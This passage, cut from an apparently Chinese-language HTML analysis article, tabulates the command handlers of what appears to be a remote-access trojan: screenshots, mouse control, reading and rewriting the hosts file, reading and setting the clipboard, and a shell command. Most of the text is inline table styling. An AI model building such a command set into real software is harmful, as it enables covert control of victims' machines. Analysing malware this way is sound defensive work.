0px;text-align: left;"><p><span leaf="">远程桌面截图</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">RD|延迟|其他参数</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">发送截图数据</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">GetPcBounds</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg == &#34;GetPcBounds&#34;</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">获取屏幕分辨率</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">无参数</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">PCBounds高度x宽度</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">SetCurPos</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg.Contains(&#34;SetCurPos&#34;)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">移动鼠标位置</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">包含坐标的字符串</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">无响应</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">GetHostsFile</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg == &#34;GetHostsFile&#34;</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">读取hosts文件内容</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">无参数</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">调用loadhostsfile()</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">SaveHostsFile</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg.StartsWith(&#34;SaveHostsFile&#34;)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">修改hosts文件</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">新hosts内容</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">调用savehostsfile()</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">GetCPText</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg == &#34;GetCPText&#34;</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">获取剪贴板文本</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">无参数</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">调用getclipboardtext()</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">SaveCPText</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg.StartsWith(&#34;SaveCPText&#34;)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">设置剪贴板文本</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">要设置的文本</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">无响应</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Shell</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg.StartsWith(&#34;Shell&#34;)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 